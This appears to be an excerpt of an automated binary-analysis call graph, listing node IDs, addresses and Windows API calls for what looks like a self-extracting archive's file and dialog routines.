23082->23219 23083->22921 23083->22922 23083->22985 23086 ee1336 23086->23083 23087 ee1349 GetDlgItem 23086->23087 23087->23083 23088 ee1359 23087->23088 23088->23083 23089 ee135f SetWindowTextW 23088->23089 23089->23083 23092 eea059 23090->23092 23091 eea0ea 23093 eea207 9 API calls 23091->23093 23095 eea113 23091->23095 23092->23091 23092->23095 23221 eea207 23092->23221 23093->23095 23095->22987 23095->22988 23096->22995 23268 ee3fdd 23097->23268 23101 ee9728 23100->23101 23102 ee9792 CreateFileW 23101->23102 23103 ee9786 23101->23103 23102->23103 23104 ee97e4 23103->23104 23105 eeb66c 2 API calls 23103->23105 23104->23044 23106 ee97cb 23105->23106 23106->23104 23107 ee97cf CreateFileW 23106->23107 23107->23104 23109 ee9688 23108->23109 23110 ee9677 23108->23110 23109->23007 23110->23109 23111 ee968a 23110->23111 23112 ee9683 23110->23112 23353 ee96d0 23111->23353 23348 ee9817 23112->23348 23115->23024 23116->23034 23368 eeddff 23117->23368 23120 ee12e6 GetDlgItem ShowWindow 23120->23052 23122 efbdff __EH_prolog 23121->23122 23123 efb4e5 23122->23123 23391 efaa36 23122->23391 23123->23062 23126 efaa36 ExpandEnvironmentStringsW 23135 efbe36 _wcsrchr 23126->23135 23127 efc11d SetWindowTextW 23127->23135 23132 efbf0b SetFileAttributesW 23133 efbfc5 GetFileAttributesW 23132->23133 23145 efbf25 ___scrt_fastfail 23132->23145 23133->23135 23137 efbfd7 DeleteFileW 23133->23137 23135->23123 23135->23126 23135->23127 23135->23132 23138 efc2e7 GetDlgItem SetWindowTextW SendMessageW 23135->23138 23141 efc327 SendMessageW 23135->23141 23395 ef17ac CompareStringW 23135->23395 23396 ef9da4 GetCurrentDirectoryW 23135->23396 23398 eea52a 7 API calls 23135->23398 23399 eea4b3 FindClose 23135->23399 23400 efab9a 76 API calls ___std_exception_copy 23135->23400 23401 f035de 23135->23401 23137->23135 23139 efbfe8 23137->23139 23138->23135 23140 ee400a _swprintf 51 API calls 23139->23140 23142 efc008 GetFileAttributesW 23140->23142 23141->23135 23142->23139 23143 efc01d MoveFileW 23142->23143 23143->23135 23144 efc035 MoveFileExW 23143->23144 23144->23135 23145->23133 23145->23135 23397 eeb4f7 52 API calls 2 library calls 23145->23397 23147 efd0ff __EH_prolog 23146->23147 23425 eefead 23147->23425 23149 efd130 23429 ee5c59 23149->23429 23151 efd14e 23433 ee7c68 23151->23433 23155 efd1a1 23450 ee7cfb 23155->23450 23157 efb504 23157->23073 23159 efcd38 23158->23159 23923 ef9d1a 23159->23923 23162 efb5d1 23162->22927 23162->22928 23163 efcd45 GetWindow 23163->23162 23166 efcd65 23163->23166 23164 efcd72 GetClassNameW 23928 ef17ac CompareStringW 23164->23928 23166->23162 23166->23164 23167 efcdfa GetWindow 23166->23167 23168 efcd96 GetWindowLongW 23166->23168 23167->23162 23167->23166 23168->23167 23169 efcda6 SendMessageW 23168->23169 23169->23167 23170 efcdbc GetObjectW 23169->23170 23929 ef9d5a GetDC GetDeviceCaps GetDeviceCaps ReleaseDC 23170->23929 23172 efcdd3 23930 ef9d39 GetDC GetDeviceCaps GetDeviceCaps ReleaseDC 23172->23930 23931 ef9f5d 8 API calls ___scrt_fastfail 23172->23931 23175 efcde4 SendMessageW DeleteObject 23175->23167 23176->22941 23178 efa30d 23177->23178 23179 efa2e8 23177->23179 23181 efa31b 23178->23181 23182 efa312 SHAutoComplete 23178->23182 23934 ef17ac CompareStringW 23179->23934 23185 efa7c3 23181->23185 23182->23181 23183 efa2fb 23183->23178 23184 efa2ff FindWindowExW 23183->23184 23184->23178 23186 efa7cd __EH_prolog 23185->23186 23187 ee1380 82 API calls 23186->23187 23188 efa7ef 23187->23188 23935 ee1f4f 23188->23935 23191 efa809 23193 ee1631 84 API calls 23191->23193 23192 efa818 23194 ee1951 126 API calls 23192->23194 23195 efa814 23193->23195 23197 efa83a __vsnwprintf_l ___std_exception_copy 23194->23197 23195->22971 23195->22977 23196 ee1631 84 API calls 23196->23195 23197->23195 23197->23196 23198->22954 23943 efac74 PeekMessageW 23199->23943 23202 efcbbc SendMessageW SendMessageW 23204 efcbf8 23202->23204 23205 efcc17 SendMessageW SendMessageW SendMessageW 23202->23205 23203 efcb88 23206 efcb93 ShowWindow SendMessageW SendMessageW 23203->23206 23204->23205 23207 efcc6d SendMessageW 23205->23207 23208 efcc4a SendMessageW 23205->23208 23206->23202 23207->22975 23208->23207 23209->23031 23210->23053 23211->23060 23212->23065 23213->23071 23214->23078 23215->23010 23216->23027 23217->23003 23218->22994 23219->23086 23220->23083 23222 eea214 23221->23222 23223 eea238 23222->23223 23224 eea22b CreateDirectoryW 23222->23224 23242 eea180 23223->23242 23224->23223 23226 eea26b 23224->23226 23231 eea27a 23226->23231 23234 eea444 23226->23234 23228 eea27e GetLastError 23228->23231 23231->23092 23232 eea254 23232->23228 23233 eea258 CreateDirectoryW 23232->23233 23233->23226 23233->23228 23255 efe360 23234->23255 23237 eea467 23239 eeb66c 2 API calls 23237->23239 23238 eea494 23238->23231 23240 eea47b 23239->23240 23240->23238 23241 eea47f SetFileAttributesW 23240->23241 23241->23238 23257 eea194 23242->23257 23245 eeb66c 23246 eeb679 23245->23246 23254 eeb683 23246->23254 23265 eeb806 CharUpperW 23246->23265 23248 eeb692 23266 eeb832 CharUpperW 23248->23266 23250 eeb6a1 23251 eeb71c GetCurrentDirectoryW 23250->23251 23252 eeb6a5 23250->23252 23251->23254 23267 eeb806 CharUpperW 23252->23267 23254->23232 23256 eea451 SetFileAttributesW 23255->23256 23256->23237 23256->23238 23258 efe360 23257->23258 23259 eea1a1 GetFileAttributesW 23258->23259 23260 eea189 23259->23260 23261 eea1b2 23259->23261 23260->23228 23260->23245 23262 eeb66c 2 API calls 23261->23262 23263 eea1c6 23262->23263 23263->23260 23264 eea1ca GetFileAttributesW 23263->23264 23264->23260 23265->23248 23266->23250 23267->23254 23269 ee3ff4 ___scrt_initialize_default_local_stdio_options 23268->23269 23272 f05759 23269->23272 23275 f03837 23272->23275 23276 f03877 23275->23276 23277 f0385f 23275->23277 23276->23277 23279 f0387f 23276->23279 23299 f0895a 20 API calls __dosmaperr 23277->23299 23301 f03dd6 23279->23301 23281 f03864 23300 f08839 26 API calls pre_c_initialization 23281->23300 23286 f03907 23310 f04186 51 API calls 4 library calls 23286->23310 23287 ee3ffe 23287->23026 23290 f03912 23311 f03e59 20 API calls _free 23290->23311 23291 f0386f 23292 efec4a 23291->23292 23293 efec55 IsProcessorFeaturePresent 23292->23293 23294 efec53 23292->23294 23296 eff267 23293->23296 23294->23287 23312 eff22b SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 23296->23312 23298 eff34a 23298->23287 23299->23281 23300->23291 23302 f03df3 23301->23302 23303 f0388f 23301->23303 23302->23303 23313 f08fa5 GetLastError 23302->23313 23309 f03da1 20 API calls 2 library calls 23303->23309 23305 f03e14 23334 f090fa 38 API calls __fassign 23305->23334 23307 f03e2d 23335 f09127 38 API calls __fassign 23307->23335 23309->23286 23310->23290 23311->23291 23312->23298 23314 f08fc7 23313->23314 23315 f08fbb 23313->23315 23337 f085a9 20 API calls 3 library calls 23314->23337 23336 f0a61b 11 API calls 2 library calls 23315->23336 23318 f08fc1 23318->23314 23320 f09010 SetLastError 23318->23320 23319 f08fd3 23321 f08fdb 23319->23321 23344 f0a671 11 API calls 2 library calls 23319->23344 23320->23305 23338 f084de 23321->23338 23324 f08ff0 23324->23321 23326 f08ff7 23324->23326 23325 f08fe1 23328 f0901c SetLastError 23325->23328 23345 f08e16 20 API calls pre_c_initialization 23326->23345 23346 f08566 38 API calls _abort 23328->23346 23329 f09002 23331 f084de _free 20 API calls 23329->23331 23333 f09009 23331->23333 23333->23320 23333->23328 23334->23307 23335->23303 23336->23318 23337->23319 23339 f08512 __dosmaperr 23338->23339 23340 f084e9 RtlFreeHeap 23338->23340 23339->23325 23340->23339 23341 f084fe 23340->23341 23347 f0895a 20 API calls __dosmaperr 23341->23347 23343 f08504 GetLastError 23343->23339 23344->23324 23345->23329 23347->23343 23349 ee9824 23348->23349 23350 ee9820 23348->23350 23349->23350 23359 eea12d 23349->23359 23350->23109 23354 ee96fa 23353->23354 23355 ee96dc 23353->23355 23356 ee9719 23354->23356 23367 ee6e3e 74 API calls 23354->23367 23355->23354 23357 ee96e8 CloseHandle 23355->23357 23356->23109 23357->23354 23360 efe360 23359->23360 23361 eea13a DeleteFileW 23360->23361 23362 eea14d 23361->23362 23363 ee984c 23361->23363 23364 eeb66c 2 API calls 23362->23364 23363->23109 23365 eea161 23364->23365 23365->23363 23366 eea165 DeleteFileW 23365->23366 23366->23363 23367->23356 23374 eed28a 23368->23374 23371 eeddfc SetDlgItemTextW 23371->23120 23372 eede22 LoadStringW 23372->23371 23373 eede39 LoadStringW 23372->23373 23373->23371 23379 eed1c3 23374->23379 23376 eed2a7 23377 eed2bc 23376->23377 23387 eed2c8 26 API calls 23376->23387 23377->23371 23377->23372 23380 eed1de 23379->23380 23386 eed1d7 _strncpy 23379->23386 23383 eed202 23380->23383 23388 ef1596 WideCharToMultiByte 23380->23388 23382 eed233 23390 f058d9 26 API calls 3 library calls 23382->23390 23383->23382 23389 eedd6b 50 API calls __vsnprintf 23383->23389 23386->23376 23387->23377 23388->23383 23389->23382 23390->23386 23393 efaa40 23391->23393 23392 efab16 23392->23135 23393->23392 23394 efaaf3 ExpandEnvironmentStringsW 23393->23394 23394->23392 23395->23135 23396->23135 23397->23145 23398->23135 23399->23135 23400->23135 23402 f08606 23401->23402 23403 f08613 23402->23403 23404 f0861e 23402->23404 23414 f08518 23403->23414 23406 f08626 23404->23406 23413 f0862f CallUnexpected 23404->23413 23407 f084de _free 20 API calls 23406->23407 23410 f0861b 23407->23410 23408 f08634 23421 f0895a 20 API calls __dosmaperr 23408->23421 23409 f08659 HeapReAlloc 23409->23410 23409->23413 23410->23135 23413->23408 23413->23409 23422 f071ad 7 API calls 2 library calls 23413->23422 23415 f08556 23414->23415 23419 f08526 CallUnexpected 23414->23419 23424 f0895a 20 API calls __dosmaperr 23415->23424 23417 f08541 RtlAllocateHeap 23418 f08554 23417->23418 23417->23419 23418->23410 23419->23415 23419->23417 23423 f071ad 7 API calls 2 library calls 23419->23423 23421->23410 23422->23413 23423->23419 23424->23418 23426 eefeba 23425->23426 23454 ee1789 23426->23454 23428 eefed2 23428->23149 23430 eefead 23429->23430 23431 ee1789 76 API calls 23430->23431 23432 eefed2 23431->23432 23432->23151 23434 ee7c72 __EH_prolog 23433->23434 23471 eec827 23434->23471 23436 ee7c8d 23477 efe24a 23436->23477 23438 ee7cb7 23483 ef440b 23438->23483 23441 ee7ddf 23442 ee7de9 23441->23442 23447 ee7e53 23442->23447 23515 eea4c6 23442->23515 23444 ee7f06 23444->23155 23445 ee7ec4 23445->23444 23521 ee6dc1 74 API calls 23445->23521 23447->23445 23449 eea4c6 8 API calls 23447->23449 23493 ee837f 23447->23493 23449->23447 23451 ee7d09 23450->23451 23453 ee7d10 23450->23453 23452 ef1acf 84 API calls 23451->23452 23452->23453 23455 ee179f 23454->23455 23466 ee17fa __vsnwprintf_l 23454->23466 23456 ee17c8 23455->23456 23467 ee6e91 74 API calls __vswprintf_c_l 23455->23467 23458 ee1827 23456->23458 23463 ee17e7 ___std_exception_copy 23456->23463 23460 f035de 22 API calls 23458->23460 23459 ee17be 23468 ee6efd 75 API calls 23459->23468 23462 ee182e 23460->23462 23462->23466 23470 ee6efd 75 API calls 23462->23470 23463->23466 23469 ee6efd 75 API calls 23463->23469 23466->23428 23467->23459 23468->23456 23469->23466 23470->23466 23472 eec831 __EH_prolog 23471->23472 23473 efe24a new 8 API calls 23472->23473 23474 eec874 23473->23474 23475 efe24a new 8 API calls 23474->23475 23476 eec898 23475->23476 23476->23436 23478 efe24f ___std_exception_copy 23477->23478 23479 efe27b 23478->23479 23489 f071ad 7 API calls 2 library calls 23478->23489 23490 efecce RaiseException CallUnexpected new 23478->23490 23491 efecb1 RaiseException Concurrency::cancel_current_task CallUnexpected 23478->23491 23479->23438 23484 ef4415 __EH_prolog 23483->23484 23485 efe24a new 8 API calls 23484->23485 23486 ef4431 23485->23486 23487 ee7ce6 23486->23487 23492 ef06ba 78 API calls 23486->23492 23487->23441 23489->23478 23492->23487 23494 ee8389 __EH_prolog 23493->23494 23522 ee1380 23494->23522 23496 ee83a4 23530 ee9ef7 23496->23530 23502 ee83d3 23653 ee1631 23502->23653 23503 ee846e 23549 ee8517 23503->23549 23506 ee84ce 23556 ee1f00 23506->23556 23508 ee83cf 23508->23502 23508->23503 23513 eea4c6 8 API calls 23508->23513 23657 eebac4 CompareStringW 23508->23657 23511 ee84d9 23511->23502 23560 ee3aac 23511->23560 23570 ee857b 23511->23570 23513->23508 23516 eea4db 23515->23516 23520 eea4df 23516->23520 23911 eea5f4 23516->23911 23518 eea4ef 23519 eea4f4 FindClose 23518->23519 23518->23520 23519->23520 23520->23442 23521->23444 23523 ee1385 __EH_prolog 23522->23523 23524 eec827 8 API calls 23523->23524 23525 ee13bd 23524->23525 23526 efe24a new 8 API calls 23525->23526 23529 ee1416 ___scrt_fastfail 23525->23529 23527 ee1403 23526->23527 23527->23529 23658 eeb07d 23527->23658 23529->23496 23531 ee9f0e 23530->23531 23532 ee83ba 23531->23532 23674 ee6f5d 76 API calls 23531->23674 23532->23502 23534 ee19a6 23532->23534 23535 ee19b0 __EH_prolog 23534->23535 23545 ee1a00 23535->23545 23548 ee19e5 23535->23548 23675 ee709d 23535->23675 23537 ee1b50 23678 ee6dc1 74 API calls 23537->23678 23539 ee3aac 97 API calls 23543 ee1bb3 23539->23543 23540 ee1b60 23540->23539 23540->23548 23541 ee1bff 23547 ee1c32 23541->23547 23541->23548 23679 ee6dc1 74 API calls 23541->23679 23543->23541 23544 ee3aac 97 API calls 23543->23544 23544->23543 23545->23537 23545->23540 23545->23548 23546 ee3aac 97 API calls 23546->23547 23547->23546 23547->23548 23548->23508 23550 ee8524 23549->23550 23697 ef0c26 GetSystemTime SystemTimeToFileTime 23550->23697 23552 ee8488 23552->23506 23553 ef1359 23552->23553 23699 efd51a 23553->23699 23557 ee1f05 __EH_prolog 23556->23557 23558 ee1f39 23557->23558 23707 ee1951 23557->23707 23558->23511 23561 ee3abc 23560->23561 23562 ee3ab8 23560->23562 23563 ee3ae9 23561->23563 23564 ee3af7 23561->23564 23562->23511 23565 ee3b29 23563->23565 23841 ee3281 85 API calls 3 library calls 23563->23841 23842 ee27e8 97 API calls 3 library calls 23564->23842 23565->23511 23568 ee3af5 23568->23565 23843 ee204e 74 API calls 23568->23843 23571 ee8585 __EH_prolog 23570->23571 23572 ee85be 23571->23572 23580 ee85c2 23571->23580 23866 ef84bd 99 API calls 23571->23866 23573 ee85e7 23572->23573 23579 ee867a 23572->23579 23572->23580 23574 ee8609 23573->23574 23573->23580 23867 ee7b66 151 API calls 23573->23867 23574->23580 23868 ef84bd 99 API calls 23574->23868 23579->23580 23844 ee5e3a 23579->23844 23580->23511 23581 ee8705 23581->23580 23850 ee826a 23581->23850 23584 ee8875 23585 eea4c6 8 API calls 23584->23585 23586 ee88e0 23584->23586 23585->23586 23854 ee7d6c 23586->23854 23588 eec991 80 API calls 23592 ee893b _memcmp 23588->23592 23589 ee8a70 23590 ee8b43 23589->23590 23597 ee8abf 23589->23597 23595 ee8b9e 23590->23595 23605 ee8b4e 23590->23605 23591 ee8a69 23871 ee1f94 74 API calls 23591->23871 23592->23580 23592->23588 23592->23589 23592->23591 23869 ee8236 82 API calls 23592->23869 23870 ee1f94 74 API calls 23592->23870 23604 ee8b30 23595->23604 23874 ee80ea 96 API calls 23595->23874 23596 ee8b9c 23598 ee9653 79 API calls 23596->23598 23599 eea180 4 API calls 23597->23599 23597->23604 23598->23580 23602 ee8af7 23599->23602 23601 ee9653 79 API calls 23601->23580 23602->23604 23872 ee9377 96 API calls 23602->23872 23603 ee8c09 23616 ee8c74 23603->23616 23652 ee91c1 ___InternalCxxFrameHandler 23603->23652 23875 ee9989 23603->23875 23604->23596 23604->23603 23605->23596 23873 ee7f26 100 API calls ___InternalCxxFrameHandler 23605->23873 23606 eeaa88 8 API calls 23610 ee8cc3 23606->23610 23608 ee8c4c 23608->23616 23879 ee1f94 74 API calls 23608->23879 23612 eeaa88 8 API calls 23610->23612 23627 ee8cd9 23612->23627 23614 ee8c62 23880 ee7061 75 API calls 23614->23880 23616->23606 23617 ee8d9c 23618 ee8efd 23617->23618 23619 ee8df7 23617->23619 23623 ee8f0f 23618->23623 23624 ee8f23 23618->23624 23641 ee8e27 23618->23641 23620 ee8e69 23619->23620 23622 ee8e07 23619->23622 23621 ee826a CharUpperW 23620->23621 23628 ee8e84 23621->23628 23629 ee8e4d 23622->23629 23634 ee8e15 23622->23634 23625 ee92e6 121 API calls 23623->23625 23626 ef2c42 75 API calls 23624->23626 23625->23641 23631 ee8f3c 23626->23631 23627->23617 23881 ee9b21 SetFilePointer GetLastError SetEndOfFile 23627->23881 23635 ee8ead 23628->23635 23636 ee8eb4 23628->23636 23628->23641 23629->23641 23883 ee7907 108 API calls 23629->23883 23886 ef28f1 121 API calls 23631->23886 23882 ee1f94 74 API calls 23634->23882 23884 ee7698 84 API calls ___InternalCxxFrameHandler 23635->23884 23885 ee9224 94 API calls __EH_prolog 23636->23885 23645 ee904b 23641->23645 23887 ee1f94 74 API calls 23641->23887 23642 ee9156 23644 eea444 4 API calls 23642->23644 23642->23652 23643 ee9104 23861 ee9d62 23643->23861 23646 ee91b1 23644->23646 23645->23642 23645->23643 23645->23652 23860 ee9ebf SetEndOfFile 23645->23860 23646->23652 23888 ee1f94 74 API calls 23646->23888 23649 ee914b 23651 ee96d0 75 API calls 23649->23651 23651->23642 23652->23601 23654 ee1643 23653->23654 23903 eec8ca 23654->23903 23657->23508 23659 eeb087 __EH_prolog 23658->23659 23664 eeea80 80 API calls 23659->23664 23661 eeb099 23665 eeb195 23661->23665 23664->23661 23666 eeb1a7 ___scrt_fastfail 23665->23666 23669 ef0948 23666->23669 23672 ef0908 GetCurrentProcess GetProcessAffinityMask 23669->23672 23673 eeb10f 23672->23673 23673->23529 23674->23532 23680 ee16d2 23675->23680 23677 ee70b9 23677->23545 23678->23548 23679->23547 23681 ee16e8 23680->23681 23692 ee1740 __vsnwprintf_l 23680->23692 23682 ee1711 23681->23682 23693 ee6e91 74 API calls __vswprintf_c_l 23681->23693 23684 ee1767 23682->23684 23687 ee172d ___std_exception_copy 23682->23687 23686 f035de 22 API calls 23684->23686 23685 ee1707 23694 ee6efd 75 API calls 23685->23694 23689 ee176e 23686->23689 23687->23692 23695 ee6efd 75 API calls 23687->23695 23689->23692 23696 ee6efd 75 API calls 23689->23696 23692->23677 23693->23685 23694->23682 23695->23692 23696->23692 23698 ef0c56 __vswprintf_c_l 23697->23698 23698->23552 23700 efd527 23699->23700 23701 eeddd1 53 API calls 23700->23701 23702 efd54a 23701->23702 23703 ee400a _swprintf 51 API calls 23702->23703 23704 efd55c 23703->23704 23705 efcb5a 16 API calls 23704->23705 23706 ef1372 23705->23706 23706->23506 23708 ee1961 23707->23708 23710 ee195d 23707->23710 23711 ee1896 23708->23711 23710->23558 23712 ee18a8 23711->23712 23713 ee18e5 23711->23713 23714 ee3aac 97 API calls 23712->23714 23719 ee3f18 23713->23719 23717 ee18c8 23714->23717 23717->23710 23723 ee3f21 23719->23723 23720 ee3aac 97 API calls 23720->23723 23721 ee1906 23721->23717 23724 ee1e00 23721->23724 23723->23720 23723->23721 23736 ef067c 23723->23736 23725 ee1e0a __EH_prolog 23724->23725 23744 ee3b3d 23725->23744 23727 ee1e34 23728 ee16d2 76 API calls 23727->23728 23730 ee1ebb 23727->23730 23729 ee1e4b 23728->23729 23772 ee1849 76 API calls 23729->23772 23730->23717 23732 ee1e63 23734 ee1e6f 23732->23734 23773 ef137a MultiByteToWideChar 23732->23773 23774 ee1849 76 API calls 23734->23774 23737 ef0683 23736->23737 23738 ef069e 23737->23738 23742 ee6e8c RaiseException CallUnexpected 23737->23742 23740 ef06af SetThreadExecutionState 23738->23740 23743 ee6e8c RaiseException CallUnexpected 23738->23743 23740->23723 23742->23738 23743->23740 23745 ee3b47 __EH_prolog 23744->23745 23746 ee3b5d 23745->23746 23747 ee3b79 23745->23747 23803 ee6dc1 74 API calls 23746->23803 23748 ee3dc2 23747->23748 23752 ee3ba5 23747->23752 23820 ee6dc1 74 API calls 23748->23820 23751 ee3b68 23751->23727 23752->23751 23775 ef2c42 23752->23775 23754 ee3c26 23756 ee3cb1 23754->23756 23771 ee3c1d 23754->23771 23806 eec991 23754->23806 23755 ee3c22 23755->23754 23805 ee2034 76 API calls 23755->23805 23788 eeaa88 23756->23788 23758 ee3bf4 23758->23754 23758->23755 23759 ee3c12 23758->23759 23804 ee6dc1 74 API calls 23759->23804 23760 ee3cc4 23765 ee3d3e 23760->23765 23766 ee3d48 23760->23766 23792 ee92e6 23765->23792 23812 ef28f1 121 API calls 23766->23812 23769 ee3d46 23769->23771 23813 ee1f94 74 API calls 23769->23813 23814 ef1acf 23771->23814 23772->23732 23773->23734 23774->23730 23776 ef2c51 23775->23776 23778 ef2c5b 23775->23778 23821 ee6efd 75 API calls 23776->23821 23779 ef2ca2 ___std_exception_copy 23778->23779 23782 ef2c9d Concurrency::cancel_current_task 23778->23782 23787 ef2cfd ___scrt_fastfail 23778->23787 23780 ef2da9 Concurrency::cancel_current_task 23779->23780 23781 ef2cd9 23779->23781 23779->23787 23824 f0157a RaiseException 23780->23824 23822 ef2b7b 75 API calls 4 library calls 23781->23822 23823 f0157a RaiseException 23782->23823 23786 ef2dc1 23787->23758 23789 eeaa95 23788->23789 23791 eeaa9f 23788->23791 23790 efe24a new 8 API calls 23789->23790 23790->23791 23791->23760 23793 ee92f0 __EH_prolog 23792->23793 23825 ee7dc6 23793->23825 23796 ee709d 76 API calls 23797 ee9302 23796->23797 23828 eeca6c 23797->23828 23799 ee935c 23799->23769 23801 eeca6c 114 API calls 23802 ee9314 23801->23802 23802->23799 23802->23801 23837 eecc51 97 API calls __vsnwprintf_l 23802->23837 23803->23751 23804->23771 23805->23754 23807 eec9c4 23806->23807 23808 eec9b2 23806->23808 23839 ee6249 80 API calls 23807->23839 23838 ee6249 80 API calls 23808->23838 23811 eec9bc 23811->23756 23812->23769 23813->23771 23815 ef1ad9 23814->23815 23816 ef1af2 23815->23816 23819 ef1b06 23815->23819 23840 ef075b 84 API calls 23816->23840 23818 ef1af9 23818->23819 23820->23751 23821->23778 23822->23787 23823->23780 23824->23786 23826 eeacf5 GetVersionExW 23825->23826 23827 ee7dcb 23826->23827 23827->23796 23834 eeca82 __vsnwprintf_l 23828->23834 23829 eecbf7 23830 eecc1f 23829->23830 23831 eeca0b 6 API calls 23829->23831 23832 ef067c SetThreadExecutionState RaiseException 23830->23832 23831->23830 23835 eecbee 23832->23835 23833 ef84bd 99 API calls 23833->23834 23834->23829 23834->23833 23834->23835 23836 eeab70 89 API calls 23834->23836 23835->23802 23836->23834 23837->23802 23838->23811 23839->23811 23840->23818 23841->23568 23842->23568 23843->23565 23845 ee5e4a 23844->23845 23889 ee5d67 23845->23889 23848 ee5e7d 23849 ee5eb5 23848->23849 23894 eead65 CharUpperW CompareStringW 23848->23894 23849->23581 23851 ee8289 23850->23851 23900 ef179d CharUpperW 23851->23900 23853 ee8333 23853->23584 23856 ee7d7b 23854->23856 23855 ee7dbb 23855->23592 23856->23855 23901 ee7043 74 API calls 23856->23901 23858 ee7db3 23902 ee6dc1 74 API calls 23858->23902 23860->23643 23862 ee9d73 23861->23862 23865 ee9d82 23861->23865 23863 ee9d79 FlushFileBuffers 23862->23863 23862->23865 23863->23865 23864 ee9dfb SetFileTime 23864->23649 23865->23864 23866->23572 23867->23574 23868->23580 23869->23592 23870->23592 23871->23589 23872->23604 23873->23596 23874->23604 23876 ee998f 23875->23876 23877 ee9992 GetFileType 23875->23877 23876->23608 23878 ee99a0 23877->23878 23878->23608 23879->23614 23880->23616 23881->23617 23882->23641 23883->23641 23884->23641 23885->23641 23886->23641 23887->23645 23888->23652 23895 ee5c64 23889->23895 23892 ee5c64 2 API calls 23893 ee5d88 23892->23893 23893->23848 23894->23848 23898 ee5c6e 23895->23898 23896 ee5d56 23896->23892 23896->23893 23898->23896 23899 eead65 CharUpperW CompareStringW 23898->23899 23899->23898 23900->23853 23901->23858 23902->23855 23904 eec8db 23903->23904 23909 eea90e 84 API calls 23904->23909 23906 eec90d 23910 eea90e 84 API calls 23906->23910 23908 eec918 23909->23906 23910->23908 23912 eea5fe 23911->23912 23913 eea691 FindNextFileW 23912->23913 23914 eea621 FindFirstFileW 23912->23914 23915 eea69c GetLastError 23913->23915 23916 eea6b0 23913->23916 23917 eea638 23914->23917 23922 eea675 23914->23922 23915->23916 23916->23922 23918 eeb66c 2 API calls 23917->23918 23919 eea64d 23918->23919 23920 eea66a GetLastError 23919->23920 23921 eea651 FindFirstFileW 23919->23921 23920->23922 23921->23920 23921->23922 23922->23518 23932 ef9d39 GetDC GetDeviceCaps GetDeviceCaps ReleaseDC 23923->23932 23925 ef9d21 23926 ef9d2d 23925->23926 23933 ef9d5a GetDC GetDeviceCaps GetDeviceCaps ReleaseDC 23925->23933 23926->23162 23926->23163 23928->23166 23929->23172 23930->23172 23931->23175 23932->23925 23933->23926 23934->23183 23936 ee9ef7 76 API calls 23935->23936 23937 ee1f5b 23936->23937 23938 ee19a6 97 API calls 23937->23938 23941 ee1f78 23937->23941 23939 ee1f68 23938->23939 23939->23941 23942 ee6dc1 74 API calls 23939->23942 23941->23191 23941->23192 23942->23941 23944 efac8f GetMessageW 23943->23944 23945 efacc8 GetDlgItem 23943->23945 23946 efaca5 IsDialogMessageW 23944->23946 23947 efacb4 TranslateMessage DispatchMessageW 23944->23947 23945->23202 23945->23203 23946->23945 23946->23947 23947->23945 24824 efb8e0 93 API calls _swprintf 24825 ef8ce0 6 API calls 24829 f116e0 CloseHandle 23951 efe1f9 23952 efe203 23951->23952 23955 efdf59 23952->23955 23983 efdc67 23955->23983 23957 efdf73 23958 efdfd0 23957->23958 23971 efdff4 23957->23971 23959 efded7 DloadReleaseSectionWriteAccess 11 API calls 23958->23959 23960 efdfdb RaiseException 23959->23960 23976 efe1c9 23960->23976 23961 efe0df 23967 efe19b 23961->23967 23970 efe13d GetProcAddress 23961->23970 23962 efe06c LoadLibraryExA 23964 efe07f GetLastError 23962->23964 23965 efe0cd 23962->23965 23963 efec4a TranslatorGuardHandler 5 API calls 23966 efe1d8 23963->23966 23969 efe0a8 23964->23969 23980 efe092 23964->23980 23965->23961 23968 efe0d8 FreeLibrary 23965->23968 23994 efded7 23967->23994 23968->23961 23972 efded7 DloadReleaseSectionWriteAccess 11 API calls 23969->23972 23970->23967 23973 efe14d GetLastError 23970->23973 23971->23961 23971->23962 23971->23965 23971->23967 23974 efe0b3 RaiseException 23972->23974 23978 efe160 23973->23978 23974->23976 23976->23963 23977 efded7 DloadReleaseSectionWriteAccess 11 API calls 23979 efe181 RaiseException 23977->23979 23978->23967 23978->23977 23981 efdc67 ___delayLoadHelper2@8 11 API calls 23979->23981 23980->23965 23980->23969 23982 efe198 23981->23982 23982->23967 23984 efdc99 23983->23984 23985 efdc73 23983->23985 23984->23957 24002 efdd15 23985->24002 23989 efdc94 24012 efdc9a 23989->24012 23991 efec4a TranslatorGuardHandler 5 API calls 23992 efdf55 23991->23992 23992->23957 23993 efdf24 23993->23991 23995 efdf0b 23994->23995 23996 efdee9 23994->23996 23995->23976 23997 efdd15 DloadLock 8 API calls 23996->23997 23998 efdeee 23997->23998 23999 efdf06 23998->23999 24000 efde67 DloadProtectSection 3 API calls 23998->24000 24021 efdf0f 8 API calls 2 library calls 23999->24021 24000->23999 24003 efdc9a DloadUnlock 3 API calls 24002->24003 24004 efdd2a 24003->24004 24005 efec4a TranslatorGuardHandler 5 API calls 24004->24005 24006 efdc78 24005->24006 24006->23989 24007 efde67 24006->24007 24008 efde7c DloadObtainSection 24007->24008 24009 efde82 24008->24009 24010 efdeb7 VirtualProtect 24008->24010 24020 efdd72 VirtualQuery GetSystemInfo 24008->24020 24009->23989 24010->24009 24013 efdcab 24012->24013 24014 efdca7 24012->24014 24015 efdcaf 24013->24015 24016 efdcb3 GetModuleHandleW 24013->24016 24014->23993 24015->23993 24017 efdcc9 GetProcAddress 24016->24017 24018 efdcc5 24016->24018 24017->24018 24019 efdcd9 GetProcAddress 24017->24019 24018->23993 24019->24018 24020->24010 24021->23995 24876 efebf7 20 API calls 24831 efa8c2 GetDlgItem EnableWindow ShowWindow SendMessageW 24832 efeac0 27 API calls pre_c_initialization 24881 ef97c0 10 API calls 24834 f09ec0 21 API calls 24882 f0b5c0 GetCommandLineA GetCommandLineW 24884 f0ebc1 21 API calls __vswprintf_c_l 24056 ee10d5 24061 ee5bd7 24056->24061 24062 ee5be1 __EH_prolog 24061->24062 24063 eeb07d 82 API calls 24062->24063 24064 ee5bed 24063->24064 24068 ee5dcc GetCurrentProcess GetProcessAffinityMask 24064->24068 24070 efead2 24071 efeade CallCatchBlock 24070->24071 24096 efe5c7 24071->24096 24073 efeae5 24075 efeb0e 24073->24075 24176 efef05 IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_fastfail 24073->24176 24082 efeb4d ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 24075->24082 24107 f0824d 24075->24107 24079 efeb2d CallCatchBlock 24080 efebad 24115 eff020 24080->24115 24082->24080 24177 f07243 38 API calls 3 library calls 24082->24177 24091 efebd9 24093 efebe2 24091->24093 24178 f0764a 28 API calls _abort 24091->24178 24179 efe73e 13 API calls 